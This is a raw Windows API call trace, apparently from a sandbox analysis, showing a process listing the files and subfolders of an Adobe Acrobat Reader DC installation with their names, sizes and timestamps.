	[0163.295] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2df53af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69463, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Search.api", cAlternateFileName="")) returned 1
	[0163.295] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe067842e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1663, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SendMail.api", cAlternateFileName="")) returned 1
	[0163.295] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfad8cb5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4a463, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Spelling.api", cAlternateFileName="")) returned 1
	[0163.295] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda6f4116, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x4d663, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="StorageConnectors.api", cAlternateFileName="STORAG~1.API")) returned 1
	[0163.295] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x24063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Updater.api", cAlternateFileName="")) returned 1
	[0163.296] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49a63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="weblink.api", cAlternateFileName="")) returned 1
	[0163.296] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49a63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="weblink.api", cAlternateFileName="")) returned 0
	[0163.296] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0163.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0163.296] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1
	[0163.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0163.296] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d") returned 64
	[0163.296] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0163.402] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.402] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb25160, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xa55f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2d.x3d", cAlternateFileName="")) returned 1
	[0163.402] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb4b3cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3c3f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3difr.x3d", cAlternateFileName="")) returned 1
	[0163.402] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb71615, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc3ff0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="drvDX9.x3d", cAlternateFileName="")) returned 1
	[0163.402] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfafef26, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1
	[0163.403] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="prc", cAlternateFileName="")) returned 1
	[0163.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0163.403] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc") returned 68
	[0163.403] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0163.424] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.424] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1
	[0163.424] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 0
	[0163.425] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0163.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0163.425] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="prcr.x3d", cAlternateFileName="")) returned 1
	[0163.425] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5df0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 1
	[0163.425] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5df0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 0
	[0163.425] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0163.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0163.425] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1
	[0163.425] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7a5f26, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xd250, dwReserved0=0x0, dwReserved1=0x0, cFileName="reader_sl.exe", cAlternateFileName="READER~1.EXE")) returned 1
	[0163.425] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bb1353b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x184a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt3d.dll", cAlternateFileName="")) returned 1
	[0163.425] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37cf4fbf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTC.der", cAlternateFileName="")) returned 1
	[0163.426] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x386f10de, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8f8a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScCore.dll", cAlternateFileName="")) returned 1
	[0163.426] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x4ee50, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite.dll", cAlternateFileName="")) returned 1
	[0163.426] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracker", cAlternateFileName="")) returned 1
	[0163.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0163.426] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned 61
	[0163.426] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0163.516] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.529] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387172c5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add_reviewer.gif", cAlternateFileName="ADD_RE~1.GIF")) returned 1
	[0163.529] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3873d518, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bl.gif", cAlternateFileName="")) returned 1
	[0163.529] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="br.gif", cAlternateFileName="")) returned 1
	[0163.529] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="create_form.gif", cAlternateFileName="CREATE~1.GIF")) returned 1
	[0163.529] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="distribute_form.gif", cAlternateFileName="DISTRI~1.GIF")) returned 1
	[0163.529] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="email_all.gif", cAlternateFileName="EMAIL_~1.GIF")) returned 1
	[0163.529] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="email_initiator.gif", cAlternateFileName="EMAIL_~2.GIF")) returned 1
	[0163.529] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ended_review_or_form.gif", cAlternateFileName="ENDED_~1.GIF")) returned 1
	[0163.529] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="end_review.gif", cAlternateFileName="END_RE~1.GIF")) returned 1
	[0163.529] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="forms_distributed.gif", cAlternateFileName="FORMS_~1.GIF")) returned 1
	[0163.529] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="forms_received.gif", cAlternateFileName="FORMS_~2.GIF")) returned 1
	[0163.530] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="forms_super.gif", cAlternateFileName="FORMS_~3.GIF")) returned 1
	[0163.530] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="form_responses.gif", cAlternateFileName="FORM_R~1.GIF")) returned 1
